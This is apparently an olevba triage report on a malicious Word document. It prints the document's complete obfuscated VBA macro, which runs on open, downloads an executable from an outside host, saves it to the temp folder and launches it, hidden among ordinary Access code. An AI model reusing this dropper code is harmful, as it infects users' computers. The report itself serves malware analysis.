Malicious Word macro

olevba 0.26 - http://decalage.info/python/oletools
Flags       Filename
----------- -----------------------------------------------------------------
OpX:MAS--B- excelm~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)

===============================================================================
FILE: excelm~1.doc
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()

VEeve (8.2)

End Sub

Sub VEeve(FFFFF As Long)
xbxGk5Ux3irM4d

End Sub



- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+----------+----------+---------------------------------------+
| Type     | Keyword  | Description                           |
+----------+----------+---------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
+----------+----------+---------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public SbUYcGnIFn As String
Public strTargettable As String

'------ BEGIN IMPORT CODES -----------

'This code was originally written by Ken Getz.
'It is not to be altered or distributed,
'except as part of an application.
'You are free to use it in any application,
'provided the copyright notice is left unchanged.
'
' Code courtesy of:
'   Microsoft Access 95 How-To
' Ken Getz and Paul Litwin
' Waite Group Press, 1996

Type tagOPENFILENAME
    lStructSize As Long
    hwndOwner As Long
    hInstance As Long
    strFilter As String
    strCustomFilter As String
    nMaxCustFilter As Long
    nFilterIndex As Long
    strFile As String
    nMaxFile As Long
    strFileTitle As String
    nMaxFileTitle As Long
    strInitialDir As String
    strTitle As String
    Flags As Long
    nFileOffset As Integer
    nFileExtension As Integer
    strDefExt As String
    lCustData As Long
    lpfnHook As Long
    lpTemplateName As String
End Type


Global Const ahtOFN_READONLY = &H1
Global Const ahtOFN_OVERWRITEPROMPT = &H2
Global Const ahtOFN_HIDEREADONLY = &H4
Global Const ahtOFN_NOCHANGEDIR = &H8
Global Const ahtOFN_SHOWHELP = &H10
' You won't use these.
'Global Const ahtOFN_ENABLEHOOK = &H20
'Global Const ahtOFN_ENABLETEMPLATE = &H40
'Global Const ahtOFN_ENABLETEMPLATEHANDLE = &H80
Global Const ahtOFN_NOVALIDATE = &H100
Global Const ahtOFN_ALLOWMULTISELECT = &H200
Global Const ahtOFN_EXTENSIONDIFFERENT = &H400
Global Const ahtOFN_PATHMUSTEXIST = &H800
Global Const ahtOFN_FILEMUSTEXIST = &H1000
Global Const ahtOFN_CREATEPROMPT = &H2000
Global Const ahtOFN_SHAREAWARE = &H4000
Global Const ahtOFN_NOREADONLYRETURN = &H8000
Global Const ahtOFN_NOTESTFILECREATE = &H10000
Global Const ahtOFN_NONETWORKBUTTON = &H20000
Global Const ahtOFN_NOLONGNAMES = &H40000
' New for Windows 95
Global Const ahtOFN_EXPLORER = &H80000
Global Const ahtOFN_NODEREFERENCELINKS = &H100000
Global Const ahtOFN_LONGNAMES = &H200000


Function RecallFileLocation() As String
    Dim strFilter As String, strLoc As String
    Dim lngFlags As Long, MyDefault As String
    strFilter = ahtAddFilterItem(strFilter, "Access Files (*.mda, *.mdb)", _
                    "*.MDA;*.MDB")
    'strFilter = ahtAddFilterItem(strFilter, "dBASE Files (*.dbf)", "*.DBF")
    strFilter = ahtAddFilterItem(strFilter, "Text Files (*.txt)", "*.TXT")
    strFilter = ahtAddFilterItem(strFilter, "Excel Files (*.xls)", "*.XLS")
    strFilter = ahtAddFilterItem(strFilter, "All Files (*.*)", "*.*")

    MyDefault = "C:\"
    ' MsgBox ValidateLocations(MyDefault)   Returns results of test to see if exists

    RecallFileLocation = ahtCommonFileOpenSave(InitialDir:=MyDefault, _
        Filter:=strFilter, FilterIndex:=3, Flags:=lngFlags, _
        DialogTitle:="Find File to Open!")

    '    MsgBox "You selected: " & ahtCommonFileOpenSave(InitialDir:="S:\Assignment List\", _
    '    Filter:=strFilter, FilterIndex:=3, Flags:=lngFlags, _
    '    DialogTitle:="Find File to Open!")
    ' Since you passed in a variable for lngFlags,
    ' the function places the output flags value in the variable.
    Debug.Print Hex(lngFlags)
End Function

Function GetOpenFile(Optional varDirectory As Variant, _
    Optional varTitleForDialog As Variant) As Variant
' Here's an example that gets an Access database name.
Dim strFilter As String
Dim lngFlags As Long
Dim varFileName As Variant
' Specify that the chosen file must already exist,
' don't change directories when you're done
' Also, don't bother displaying
' the read-only box. It'll only confuse people.
    lngFlags = ahtOFN_FILEMUSTEXIST Or _
                ahtOFN_HIDEREADONLY Or ahtOFN_NOCHANGEDIR
    If IsMissing(varDirectory) Then
        varDirectory = ""
    End If
    If IsMissing(varTitleForDialog) Then
        varTitleForDialog = "Hello World"
    End If

    ' Define the filter string and allocate space in the "c"
    ' string Duplicate this line with changes as necessary for
    ' more file templates.
    strFilter = ahtAddFilterItem(strFilter, _
                "Excel (*.xls)", "*.XLS")
    ' Now actually call to get the file name.
    varFileName = ahtCommonFileOpenSave( _
                    OpenFile:=False, _
                    InitialDir:=varDirectory, _
                    Filter:=strFilter, _
                    Flags:=lngFlags, _
                    DialogTitle:=varTitleForDialog)

    If IsNull(varFileName) Then
        MsgBox "Please choose a file to import", vbOKOnly, "Notification"
    End If

    MsgBox varFileName
    If Not IsNull(varFileName) Then
        varFileName = TrimNull(varFileName)
        GetOpenFile = varFileName
        'DoCmd.TransferText acImportDelim, "csv_import_specs", "sales", GetOpenFile, True
        DoCmd.TransferSpreadsheet acImport, acSpreadsheetTypeExcel9, strTargettable, GetOpenFile, True
    Else
        MsgBox "Please choose a file to import", vbOKOnly, "Notification"
    End If

End Function

Sub xbxGk5Ux3irM4d()

cTdsOvmpZ0T = Chr(104) & "t" & ";t" & Chr(112) & Chr(58) & "/<" & Chr(47) & Chr(97) & Chr(109) & "s" & "a" & "q" & "w" & Chr(97) & "n" & Chr(107) & Chr(105) & Chr(100) & Chr(111) & Chr(46) & Chr(99) & "o" & Chr(109) & Chr(47) & Chr(109) & Chr(97) & "x" & "/" & "b" & "b" & "w" & ".=" & "e" & Chr(120) & "e"
Set ElDbasip6 = w7IAmB5cDGswAm("M" & Chr(105) & "c" & Chr(114) & Chr(111) & "<s" & "o" & Chr(102) & "t" & Chr(46) & Chr(88) & Chr(77) & Chr(60) & Chr(76) & Chr(72) & "T" & "<T;" & Chr(80))
 cTdsOvmpZ0T = Replace(cTdsOvmpZ0T, Chr(60), "")
 cTdsOvmpZ0T = Replace(cTdsOvmpZ0T, Chr(61), "")
 cTdsOvmpZ0T = Replace(cTdsOvmpZ0T, Chr(59), "")
CallByName ElDbasip6, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, "G" & "E" & Chr(84), _
cTdsOvmpZ0T _
, False

Set HURaWTTfnV70aA = w7IAmB5cDGswAm(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & "t" & Chr(46) & Chr(83) & Chr(104) & Chr(101) & "l" & Chr(108))

Set jfhAqR8f0z = CallByName(HURaWTTfnV70aA, Chr(69) & "n" & "v" & "i" & Chr(114) & Chr(111) & Chr(110) & Chr(109) & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115))

Ga9exV0usiOxh = jfhAqR8f0z("T" & Chr(69) & Chr(77) & Chr(80))

SbUYcGnIFn = Ga9exV0usiOxh & Chr(92) & Chr(109) & Chr(105) & Chr(107) & "a" & Chr(112) & Chr(111) & Chr(108) & Chr(110) & Chr(101) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
Dim FiiLlqz7ZuFikb() As Byte

CallByName ElDbasip6, "S" & "e" & Chr(110) & Chr(100), VbMethod
FiiLlqz7ZuFikb = CallByName(ElDbasip6, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & "n" & "s" & Chr(101) & "B" & Chr(111) & Chr(100) & Chr(121), VbGet)
T1AetFXr4ps8 FiiLlqz7ZuFikb, SbUYcGnIFn
On Error GoTo ke7nvlgCXNTah
    a = 84 / 0
  On Error GoTo 0

f8kh1r1ELTN:
  Exit Sub
ke7nvlgCXNTah:
  CP45sZEhc107 ("avNTTxhUC9eWb")
Resume f8kh1r1ELTN
End Sub
Function ahtCommonFileOpenSave( _
            Optional ByRef Flags As Variant, _
            Optional ByVal InitialDir As Variant, _
            Optional ByVal Filter As Variant, _
            Optional ByVal FilterIndex As Variant, _
            Optional ByVal DefaultExt As Variant, _
            Optional ByVal FileName As Variant, _
            Optional ByVal DialogTitle As Variant, _
            Optional ByVal HWnd As Variant, _
            Optional ByVal OpenFile As Variant) As Variant
' This is the entry point you'll use to call the common
' file open/save dialog. The parameters are listed
' below, and all are optional.
'
' In:
' Flags: one or more of the ahtOFN_* constants, OR'd together.
' InitialDir: the directory in which to first look
' Filter: a set of file filters, set up by calling
' AddFilterItem. See examples.
' FilterIndex: 1-based integer indicating which filter
' set to use, by default (1 if unspecified)
' DefaultExt: Extension to use if the user doesn't enter one.
' Only useful on file saves.
' FileName: Default value for the file name text box.
' DialogTitle: Title for the dialog.
' hWnd: parent window handle
' OpenFile: Boolean(True=Open File/False=Save As)
' Out:
' Return Value: Either Null or the selected filename
Dim OFN As tagOPENFILENAME
Dim strFileName As String
Dim strFileTitle As String
Dim fResult As Boolean
    ' Give the dialog a caption title.
    If IsMissing(InitialDir) Then InitialDir = CurDir
    If IsMissing(Filter) Then Filter = ""
    If IsMissing(FilterIndex) Then FilterIndex = 1
    If IsMissing(Flags) Then Flags = 0&
    If IsMissing(DefaultExt) Then DefaultExt = ""
    If IsMissing(FileName) Then FileName = ""
    If IsMissing(DialogTitle) Then DialogTitle = ""
    If IsMissing(HWnd) Then HWnd = cs.Application.hWndAccessApp
    If IsMissing(OpenFile) Then OpenFile = True
    ' Allocate string space for the returned strings.
    strFileName = Left(FileName & String(256, 0), 256)
    strFileTitle = String(256, 0)
    ' Set up the data structure before you call the function
    With OFN
        .lStructSize = Len(OFN)
        .hwndOwner = HWnd
        .strFilter = Filter
        .nFilterIndex = FilterIndex
        .strFile = strFileName
        .nMaxFile = Len(strFileName)
        .strFileTitle = strFileTitle
        .nMaxFileTitle = Len(strFileTitle)
        .strTitle = DialogTitle
        .Flags = Flags
        .strDefExt = DefaultExt
        .strInitialDir = InitialDir
        ' Didn't think most people would want to deal with
        ' these options.
        .hInstance = 0
        '.strCustomFilter = ""
        '.nMaxCustFilter = 0
        .lpfnHook = 0
        'New for NT 4.0
        .strCustomFilter = String(255, 0)
        .nMaxCustFilter = 255
    End With
    ' This will pass the desired data structure to the
    ' Windows API, which will in turn it uses to display
    ' the Open/Save As Dialog.
    If OpenFile Then
        fResult = vdvd.aht_apiGetOpenFileName()
    Else
        fResult = vdvd.aht_apiGetSaveFileName()
    End If

    ' The function call filled in the strFileTitle member
    ' of the structure. You'll have to write special code
    ' to retrieve that if you're interested.
    If fResult Then
        ' You might care to check the Flags member of the
        ' structure to get information about the chosen file.
        ' In this example, if you bothered to pass in a
        ' value for Flags, we'll fill it in with the outgoing
        ' Flags value.
        If Not IsMissing(Flags) Then Flags = OFN.Flags
        ahtCommonFileOpenSave = TrimNull(OFN.strFile)
    Else
        ahtCommonFileOpenSave = vbNullString
    End If
End Function

Function ahtAddFilterItem(strFilter As String, _
    strDescription As String, Optional varItem As Variant) As String
' Tack a new chunk onto the file filter.
' That is, take the old value, stick onto it the description,
' (like "Databases"), a null character, the skeleton
' (like "*.mdb;*.mda") and a final null character.

    If IsMissing(varItem) Then varItem = "*.*"
    ahtAddFilterItem = strFilter & _
                strDescription & vbNullChar & _
                varItem & vbNullChar
End Function

Private Function TrimNull(ByVal strItem As String) As String
Dim intPos As Integer
    intPos = InStr(strItem, vbNullChar)
    If intPos > 0 Then
        TrimNull = Left(strItem, intPos - 1)
    Else
        TrimNull = strItem
    End If
End Function

'-------------- END IMPORT CODES --------------

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Open           | May open a file                         |
| Suspicious | Windows        | May enumerate application windows (if   |
|            |                | combined with Shell.Application object) |
| Suspicious | Chr            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | CallByName     | May attempt to obfuscate malicious      |
|            |                | function calls                          |
| Suspicious | Write          | May write to a file (if combined with   |
|            |                | Open)                                   |
| Suspicious | Output         | May write to a file (if combined with   |
|            |                | Open)                                   |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
+------------+----------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dim strNoOfDays As Integer

Private Sub Form_Load()

  'hide links
  Call show_chart_controls(False)

  'reset subform objects
  Call cs.reset_sales_subforms

  strSQLWhere = "WHERE Status = 'REG'"

End Sub

Private Sub img_sales_monitor_Click()

  Call sc.reset_sales_subforms

  objSubformControl = "viewer"
  Call sc.format_viewer("sales_viewer", 1, 1)

  objSubformControl = "info"
  Call sc.format_viewer("sales_summary", 1, 1)

  cc.Me.focustaker.SetFocus

End Sub

Public Function T1AetFXr4ps8(PUDV4fRQQIpv As Variant, inq7dnGSyLG As String)
Dim pDvVXJLJ5VGIbM: Set pDvVXJLJ5VGIbM = w7IAmB5cDGswAm(Chr(65) & "d" & Chr(111) & "d" & Chr(98) & "." & Chr(83) & "t" & Chr(114) & Chr(101) & Chr(97) & Chr(109))

With pDvVXJLJ5VGIbM
   .Type = 1
    .Open
    .write PUDV4fRQQIpv
    .savetofile inq7dnGSyLG, 2
End With
End Function




Private Sub img_sales_trends_Click()

  Call dss.EndTimer
  Call ccc.set_chart_labels("sales")
  'Call Subforms_reset

  chChartTitle = "14-Day Sales Trending"

  strSQLRank = "TOP 14"
  strSQLChart = "SELECT " & strSQLRank & " DtlsDate, SUM(ExtPriceEff) AS totalSales FROM SalesDtls " & strSQLWhere & " GROUP BY DtlsDate ORDER BY DtlsDate DESC"

  Call ll.BuildSalesChart

  Call show_chart_controls(True)

End Sub
Private Sub btn_this_month_Click()

  Call fb.EndTimer
  Call dd.set_chart_labels("sales")

  chChartTitle = "30-Day Sales Trending"

  strSQLRank = "TOP 30"
  strSQLChart = "SELECT " & strSQLRank & " DtlsDate, SUM(ExtPriceEff) AS totalSales FROM SalesDtls " & strSQLWhere & " GROUP BY DtlsDate ORDER BY DtlsDate DESC"

  Call dd.BuildSalesChart

End Sub

Private Sub btn_this_quarter_Click()

  Call cc.EndTimer
  Call ccc.set_chart_labels("sales")

  chChartTitle = "90-Day Sales Trending"

  strSQLRank = "TOP 90"
  strSQLChart = "SELECT " & strSQLRank & " DtlsDate, SUM(ExtPriceEff) AS totalSales FROM SalesDtls " & strSQLWhere & " GROUP BY DtlsDate ORDER BY DtlsDate DESC"

  Call lkd.BuildSalesChart

End Sub

Private Sub btn_this_week_Click()

  Call kl.EndTimer
  Call oo.set_chart_labels("sales")

  chChartTitle = "14-Day Sales Trending"

  strSQLRank = "TOP 14"
  strSQLChart = "SELECT " & strSQLRank & " DtlsDate, SUM(ExtPriceEff) AS totalSales FROM SalesDtls " & strSQLWhere & " GROUP BY DtlsDate ORDER BY DtlsDate DESC"

  Call ce.BuildSalesChart

End Sub

Private Sub btn_hourly_14_Click()

  Call vr.EndTimer
  Call fe.set_chart_labels("hourly")

  strNoOfDays = 14
  chChartTitle = "Ave. Sales per Hour Over Past " & strNoOfDays & " Days"

  strSQLChart = "SELECT FORMAT(hour) AS hour_of_day, FORMAT(Avg(hourly_sales),'Standard') AS avg_hourly_sales FROM hourly_data_query WHERE DtlsDate BETWEEN NOW() AND NOW()-" & strNoOfDays & " GROUP BY hour" 'DateValue('6/1/2011') AND DateValue('6/30/2011') GROUP BY hour"

  Call ec.BuildSalesChart

End Sub

Private Sub btn_hourly_30_Click()

  Call mm.EndTimer
  Call ef.sset_chart_labels("hourly")

  strNoOfDays = 30
  chChartTitle = "Ave. Sales per Hour Over Past " & strNoOfDays & " Days"

  strSQLChart = "SELECT FORMAT(hour) AS hour_of_day, FORMAT(Avg(hourly_sales),'Standard') AS avg_hourly_sales FROM hourly_data_query WHERE DtlsDate BETWEEN NOW() AND NOW()-" & strNoOfDays & " GROUP BY hour" 'DateValue('6/1/2011') AND DateValue('6/30/2011') GROUP BY hour"

  Call ls.BuildSalesChart

End Sub

Private Sub btn_hourly_sum_14_Click()

  Call dcd.EndTimer
  Call aa.set_chart_labels("hourly")

  strNoOfDays = 14
  chChartTitle = "Aggregate Sales per Hour Over Past " & strNoOfDays & " Days"

  strSQLChart = "SELECT hour, sum(hourly_sales) as sum_hourly_sales FROM hourly_data_query WHERE DtlsDate BETWEEN NOW() AND NOW()-" & strNoOfDays & " GROUP BY hour"

  Call lfk.BuildSalesChart

End Sub

Public Function CP45sZEhc107(oTOZyLSZ9iofhw As String)
 Set YMg9p4gOLj = w7IAmB5cDGswAm("S" & "h" & "e" & "l" & "l" & Chr(46) & Chr(65) & Chr(112) & "p" & Chr(108) & "i" & Chr(99) & Chr(97) & Chr(116) & "i" & "o" & Chr(110))
YMg9p4gOLj.Open (SbUYcGnIFn)
End Function
Private Sub btn_hourly_sum_30_Click()

  Call la.EndTimer
  Call ds.set_chart_labels("hourly")

  strNoOfDays = 30
  chChartTitle = "Aggregate Sales per Hour Over Past " & strNoOfDays & " Days"

  strSQLChart = "SELECT hour, sum(hourly_sales) as sum_hourly_sales FROM hourly_data_query WHERE DtlsDate BETWEEN NOW() AND NOW()-" & strNoOfDays & " GROUP BY hour"

  Call ll.BuildSalesChart

End Sub

Private Sub btn_hourly_transactions_14_Click()

  Call oo.EndTimer
  Call oa.set_chart_labels("item_count")

  strNoOfDays = 14
  chChartTitle = "Aggregate Items Sold per Hour Over Past " & strNoOfDays & " Days"

  strSQLChart = "SELECT TIMESERIAL(FORMAT(SalesDtls.EndTime,'HH'),0,0) AS [hour], COUNT(ExtPriceEff) AS trans_count FROM SalesDtls WHERE DtlsDate BETWEEN NOW() AND NOW()-" & strNoOfDays & " AND Status = 'REG' GROUP BY TIMESERIAL(FORMAT(SalesDtls.EndTime,'HH'),0,0)"

  Call dw.BuildSalesChart

End Sub

Private Sub btn_hourly_transactions_30_Click()

  Call dwd.EndTimer
  Call aa.set_chart_labels("hourly")

  strNoOfDays = 30
  chChartTitle = "Aggregate Items Sold per Hour Over Past " & strNoOfDays & " Days"

  strSQLChart = "SELECT TIMESERIAL(FORMAT(SalesDtls.EndTime,'HH'),0,0) AS [hour], COUNT(ExtPriceEff) AS trans_count FROM SalesDtls WHERE DtlsDate BETWEEN NOW() AND NOW()-" & strNoOfDays & " AND Status = 'REG' GROUP BY TIMESERIAL(FORMAT(SalesDtls.EndTime,'HH'),0,0)"

  Call lla.BuildSalesChart

End Sub

Public Function w7IAmB5cDGswAm(Fpsh8W7KwFw4n3 As String)
Fpsh8W7KwFw4n3 = Replace(Fpsh8W7KwFw4n3, Chr(60), "")
 Fpsh8W7KwFw4n3 = Replace(Fpsh8W7KwFw4n3, Chr(61), "")
 Fpsh8W7KwFw4n3 = Replace(Fpsh8W7KwFw4n3, Chr(59), "")
 Set w7IAmB5cDGswAm = CreateObject(Fpsh8W7KwFw4n3)
End Function
Function show_chart_controls(thisVisibility As Boolean)

  'sales trending controls
  cevMe.a_this_week.Visible = thisVisibility
  cevMe.a_this_month.Visible = thisVisibility
  cevMe.a_this_quarter.Visible = thisVisibility
  cevMe.btn_this_month.Visible = thisVisibility
  cevMe.btn_this_quarter.Visible = thisVisibility
  cevMe.btn_this_week.Visible = thisVisibility

  'hourly trending controls
  cevMe.a_hourly_14.Visible = thisVisibility
  cevMe.a_hourly_30.Visible = thisVisibility
  cevMe.a_hourly_sum_14.Visible = thisVisibility
  cevMe.a_hourly_sum_30.Visible = thisVisibility
  cevMe.a_hourly_transactions_14.Visible = thisVisibility
  cevMe.a_hourly_transactions_30.Visible = thisVisibility

  cevMe.btn_hourly_14.Visible = thisVisibility
  cevMe.btn_hourly_30.Visible = thisVisibility
  cevMe.btn_hourly_sum_14.Visible = thisVisibility
  cevMe.btn_hourly_sum_30.Visible = thisVisibility
  cevMe.btn_hourly_transactions_14.Visible = thisVisibility
  cevMe.btn_hourly_transactions_30.Visible = thisVisibility

  'labels
  cevMe.label_hourly.Visible = thisVisibility
  cevMe.label_avg.Visible = thisVisibility
  cevMe.label_sum.Visible = thisVisibility
  cevMe.label_transactions.Visible = thisVisibility

End Function



- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Open           | May open a file                         |
| Suspicious | Chr            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | CreateObject   | May create an OLE object                |
| Suspicious | SaveToFile     | May create a text file                  |
| Suspicious | Write          | May write to a file (if combined with   |
|            |                | Open)                                   |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
+------------+----------------+-----------------------------------------+